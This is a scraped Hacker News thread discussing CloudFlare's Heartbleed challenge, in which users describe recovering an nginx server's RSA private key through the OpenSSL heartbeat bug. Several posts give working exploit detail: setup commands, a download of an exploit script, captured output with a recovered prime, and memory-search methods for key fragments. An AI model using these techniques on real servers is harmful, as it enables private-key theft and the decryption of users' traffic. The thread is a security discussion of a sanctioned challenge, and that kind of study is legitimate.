Live data from Hacker News

CloudFlare's Heartbleed challenge cracked

twitter.com

101–110 of 155 posts

Re: CloudFlare's Heartbleed challenge cracked

#101
Didn't have any spare time to have a go at this, here's how I was going to do it:-

1) Create a VM with the same version of Linux, nginx, openssl.

2) Create a self-signed SSL certificate for the server

3) Verify that the HTTPS server is vulnerable to heartbleed

4) Run a few HTTPS requests against the server

5) Use gcore (or just send SIGABRT) to get a core file of the nginx process

6) Write a tool to check the memory image for remnants of the private key (since I know what it looks like). This may be encoded in several forms: as is from the ssl key file, hex encoded modulus, binary encoded modulus, however the BigNum stuff in OpenSSL stores the modulus, intermediate values used in calculations, etc. I can also check for partial matches since I know what the full key looks like.

7) Run the heartbleed client against the site to extract some chunks of memory, there are various strategies for this:-

a) Repeatedly grab the largest (65535) bytes of memory each time

b) Repeatedly grab different sizes (8KB, 16KB, etc) depending on the bucket sizes for OpenSSL's freelist wrapper around malloc.

c) Vary the request size (lots more headers, etc) to try and get different chunks of memory returned.

d) Occasionally restart nginx

8) Once I can reliably (for whatever value of reliably that is) get the key from my own server, I then modify the test for success from a comparison against the known private key, to a test which involves decrypting a string that was the result of encrypting some known plaintext with the known public key. That'll be slower, but still possible.

9) Run that analysis against real data retreived from the challenge server. The data (using the various strategies in #7) can be obtained in the background whilst I'm developing #1-#8. You can't rely on having sole access to the server so whatever strategy you use may be perturbed by other people performing requests.

10) Repeat #1-#8 for Apache and any other web server that is vulnerable to heartbleed.

This does work on the assumption that the key (in whatever form it is in) will be returned as a contiguous block of memory. Trying to patch together chunks of memory to look for the key will be much much harder unless there's significant overlap and it's easy to detect what/where a key is somehow.

Re: CloudFlare's Heartbleed challenge cracked

#102
i think cloudfare's version of nginx is a lucky version or my code is bugged or time after restart is important or you need to do some heap-fu by sending different payload sizes.

so i booted up a micro vm on amazon aws and was able to dump the private key in one request.

Ubuntu Server 13.10 (PV) - ami-35dbde5c

  sudo add-apt-repository ppa:nginx/development
  sudo apt-get update
  sudo apt-get install nginx
  sudo apt-get install ssl-cert
modify /etc/nginx/sites-enabled/default uncomment ssl server and change certs:

  ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
  ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;

  sudo /etc/init.d/nginx restart

  curl -O https://gist.githubusercontent.com/benmmurphy/12999c91a4d328b749e3/raw/9bcd402e3d9beec740a61a1585e24c36dea80859/heartbeat.py
  chmod u+x heartbeat.py

  ubuntu@ip-10-185-20-243:~$ ./heartbeat.py localhost /etc/ssl/certs/ssl-cert-snakeoil.pem
  Using modulus: C30FB990C6C1EE4EE4524A724BDF10DCDC735C9BCCED84B38796584DCE9F7CB1027CCF63A0E604882AE9B8639CD0955C207BE641943AE38AC4DAE63ECCE7E79ACE7EB9EB5D92F55761924C35A00EB5AE4759CB6DC938DBD48ED34685BC32B3193FEF55F081BB2BFC33494F26E556803FD2506F94301DFD688A63F9F3572C540F3F5E7679D5454E532503636ABFCB95AC5674D47C2B23C4418E04BE1D36AECF6BFEA81FC38FCA3E72A3EACD0BFD4E07FDC3BFA8E70E002ECA68FE8E0621F56081D90A3724A1BED6B5E3BDCDCC02B4EDEAFD0EC4D60C7DEC95BF7756CD82442915EE1AB6738F38B3BA932C8D27B34E94205C84AB64ACC34487ED2FF3804332AB63

  Using key size: 128
  Scanning localhost on port 443
  Connecting...
  Sending Client Hello...
  Waiting for Server Hello...
  Got length: 66
   ... received message: type = 22, ver = 0302, length = 66
  Message Type is 0x02
  Got length: 750
   ... received message: type = 22, ver = 0302, length = 750
  Message Type is 0x0B
  Got length: 331
   ... received message: type = 22, ver = 0302, length = 331
  Message Type is 0x0C
  Got length: 4
   ... received message: type = 22, ver = 0302, length = 4
  Message Type is 0x0E
  Server sent server hello done
  Server TLS version was 1.2

  Sending heartbeat request...
  Got length: 16384
   ... received message: type = 24, ver = 0302, length = 65551
  Received heartbeat response:
  Got result: 154948185083822336433702373602285084550034029190596792283600073258494868382158852796844241764405565518400264295279959791461705192749666707538790201985451035410116800023040704455951541838840288378897688943017357577574672157589664822948047455855119173651635078033464041188274590174256703712210173285385390714209
  found prime: 0xdca74e63a186d60a9de3c8211e21a5b165c6d86d285c1d6eece2ad7a2505890ebae513e3013c3602f148e2112eaa99edd8ff5922494c4db47156727f93ab0f35a298553a82dfbd91e5e8aff2e969f31db31263bce9a89d95b64ff38ff5b86d47fa2e70aac5198d2ea967eb952f48b7264e824bd03b1c955294fb9caeed02ed61L
you can check the prime by doing:

  ubuntu@ip-10-185-20-243:~$ sudo openssl rsa -in /etc/ssl/private/ssl-cert-snakeoil.key -text

  ..

  prime1:
      00:e2:4e:eb:f7:88:3a:d4:ad:61:2c:ef:6f:b2:a6:
      3b:dd:c4:99:89:f1:b4:6e:6b:ce:76:51:c3:23:f7:
      7a:37:69:f9:6c:eb:65:3d:cd:6a:f7:c9:97:96:b0:
      f6:39:72:8a:ca:f7:45:3c:ff:25:b0:dd:a9:c1:08:
      c3:aa:53:41:22:20:df:74:cb:1d:ad:ce:67:1d:11:
      00:15:33:65:1f:d4:b9:a8:2b:27:50:da:7c:a7:e1:
      88:d1:2c:d8:d9:32:07:ba:23:e1:40:fa:fa:94:46:
      7f:9b:35:a1:d2:e4:91:86:f6:f3:79:2f:53:fd:95:
      4d:99:56:b3:c0:be:97:6b:43
  prime2:
      00:dc:a7:4e:63:a1:86:d6:0a:9d:e3:c8:21:1e:21:
      a5:b1:65:c6:d8:6d:28:5c:1d:6e:ec:e2:ad:7a:25:
      05:89:0e:ba:e5:13:e3:01:3c:36:02:f1:48:e2:11:
      2e:aa:99:ed:d8:ff:59:22:49:4c:4d:b4:71:56:72:
      7f:93:ab:0f:35:a2:98:55:3a:82:df:bd:91:e5:e8:
      af:f2:e9:69:f3:1d:b3:12:63:bc:e9:a8:9d:95:b6:
      4f:f3:8f:f5:b8:6d:47:fa:2e:70:aa:c5:19:8d:2e:
      a9:67:eb:95:2f:48:b7:26:4e:82:4b:d0:3b:1c:95:
      52:94:fb:9c:ae:ed:02:ed:61
  ..

so the exploit is the most stupid one possible. i took the POC code and changed it to read all 64k. The version i had was reading only 14kb from the server. Then just check all the 128 byte strings to see if they divide the modulus evenly.

Re: CloudFlare's Heartbleed challenge cracked

#103

Earlier quoted context omitted.

you are underestimating the severity of the bug. The bug leaks server memory - in which case unencrypted passwords are being sent to the server by the user's browser in order to be hashed to be compared to the hashed versions in storage. Normally this is protected by tls, but as you can see, for servers that suffer from this hole, it's as good as naught. Note that this occurs for "any" connections hitting the vulnera…

This is why I always make sure to GC, delete or NULL input variables (you must include the request; body et al.) after encrypt/hash/ . I basically take the stanze that I want as little to do with your real password as possible.

Perhaps you should over-write them with garbage before doing this. Simply deallocating them (or assigning them to new objects) could leave them hanging around in memory until something else overwrites the same memory space.

Re: CloudFlare's Heartbleed challenge cracked

#104

Why did anyone need this challenge in the first place? Couldn't someone have justed ASKED a good exploit developer what they would do and what the impact is? No, I guess we're all up for wasting people's time and creating potential false negatives.

Because good idea in theory != good idea in practice. Showing that this actually works in practice (albeit on an isolated incident) shows that the bug is dangerous in practice, not just theory. Look at all the research in timing attacks etc on TLS, some of which are theoretically feasible, until you consider real world possibilities of remote servers, such as "Their ISP is fiddling with routing so I have varying latency", or "They're using different server configurations and I don't get connected to the same one every time". This has been PROVEN to steal someones private key, which is worse than giving someone the keys to your house, It's like giving them a blank passport with your name on it, letting them put their photo on it, and with that taking your car keys and hosue keys, and everything that identifies you.

Luckily, the fix is easy, just upgrade, revoke, and force password changes for everyone.

Re: CloudFlare's Heartbleed challenge cracked

#105

i think cloudfare's version of nginx is a lucky version or my code is bugged or time after restart is important or you need to do some heap-fu by sending different payload sizes. so i booted up a micro vm on amazon aws and was able to dump the private key in one request. Ubuntu Server 13.10 (PV) - ami-35dbde5c sudo add-apt-repository ppa:nginx/development sudo apt-get update sudo apt-get install nginx sudo apt-get in…

Wow, I just tested this on Debian and you're right - the simplest thing really does work. Kind of makes me wish I'd tried a little harder at CloudFlare's challenge; I had something pointed at their server and doing this early on, but shut it down after a couple of hours because it was using lots of CPU and not getting very far.

Edit: My code's tested too - the primes it gives me are exactly the same as the values in the private key

Edit 2: Doesn't even have to be the first request after restarting, I fired off a few hundred simple test requests first and it still worked. It's likely that any lightly-loaded nginx install on Debian was wide open.

Re: CloudFlare's Heartbleed challenge cracked

#106
So I didn't manage to crack the challenge (I used around 10k heartbeats), but I suspect it may have just been a case of brute-force (i.e asking for enough heartbleeds). Other people may have got the key without realizing that had done so because they were looking for the wrong thing (i.e. normal cert text representation).

I took the approach of using two fingerprints to search the data:

1) The hex sequence "30 82 .. .. 02 01 00" which would indicate the ASN.1 private key encoding which OpenSSL uses.

2) The modulus which I extracted from the public key (which would also be in the private key structure)

I didn't find any instance of the first, the second I found lots of instances of (because the modulus is also in the public key). I then filtered out all the instances of the public key by searching for the public key header ("30 82 .. .. 30 82").

This actually left me with two unique instances of the modulus in memory which weren't in a public key structure. I then tried to overlay the private key structure over the data and extracted what should have been the prime numbers and ran a primality test on them (to verify; another way would have been to just feed the structure into openssl). Both failed, so it wasn't the private key structure.

But there's a reasonable chance that those two instances represented a cryptographic calculation in progress; so while recovering the key wouldn't be as trivial as if you grabbed the full private key structure from memory (which I suspect is what the successful attackers did) I think it definitely represents another attack angle.

Re: CloudFlare's Heartbleed challenge cracked

#107
post #105

i think cloudfare's version of nginx is a lucky version or my code is bugged or time after restart is important or you need to do some heap-fu by sending different payload sizes. so i booted up a micro vm on amazon aws and was able to dump the private key in one request. Ubuntu Server 13.10 (PV) - ami-35dbde5c sudo add-apt-repository ppa:nginx/development sudo apt-get update sudo apt-get install nginx sudo apt-get in…

Wow, I just tested this on Debian and you're right - the simplest thing really does work. Kind of makes me wish I'd tried a little harder at CloudFlare's challenge; I had something pointed at their server and doing this early on, but shut it down after a couple of hours because it was using lots of CPU and not getting very far. Edit: My code's tested too - the primes it gives me are exactly the same as the values in…

i suspect getting the key on cloudflare is much harder :) it will be interesting to find out how they did it.

Re: CloudFlare's Heartbleed challenge cracked

#108
post #105

Earlier quoted context omitted.

Wow, I just tested this on Debian and you're right - the simplest thing really does work. Kind of makes me wish I'd tried a little harder at CloudFlare's challenge; I had something pointed at their server and doing this early on, but shut it down after a couple of hours because it was using lots of CPU and not getting very far. Edit: My code's tested too - the primes it gives me are exactly the same as the values in…

i suspect getting the key on cloudflare is much harder :) it will be interesting to find out how they did it.

Well, the heavy load on CloudFlare's test server is probably making life harder by using up lots of RAM and filling it with uninteresting garbage, if nothing else. I'd be curious how a server with the same configuration but very light load fared.

Re: CloudFlare's Heartbleed challenge cracked

#109
post #74

Earlier quoted context omitted.

"[H]osting vendors that don't have isolated VM's don't also allow users to install their own OpenSSL as this would become a vector to compromise neighboring hosts." Could you explain this please? Here's a possible scenario... I root virtual machine X running on host Z (using heartbleed). Another machine running on Z is virtual machine Y. Because X and Y are not isolated, and I am running whatever I want on X, I can f…

This would only be an issue with shared hosting that shares a web server process.

Actually, another likely scenario is a load balancer shared by multiple sites... As long as the ssl is terminated at tr load balancer, it's vulnerable.

Re: CloudFlare's Heartbleed challenge cracked

#110
post #108

Earlier quoted context omitted.

i suspect getting the key on cloudflare is much harder :) it will be interesting to find out how they did it.

Well, the heavy load on CloudFlare's test server is probably making life harder by using up lots of RAM and filling it with uninteresting garbage, if nothing else. I'd be curious how a server with the same configuration but very light load fared.

with some slight modifications i was able to extract the private key from cloudflare. i'm not sure if the modifications were necessary or not....
Post reply on HN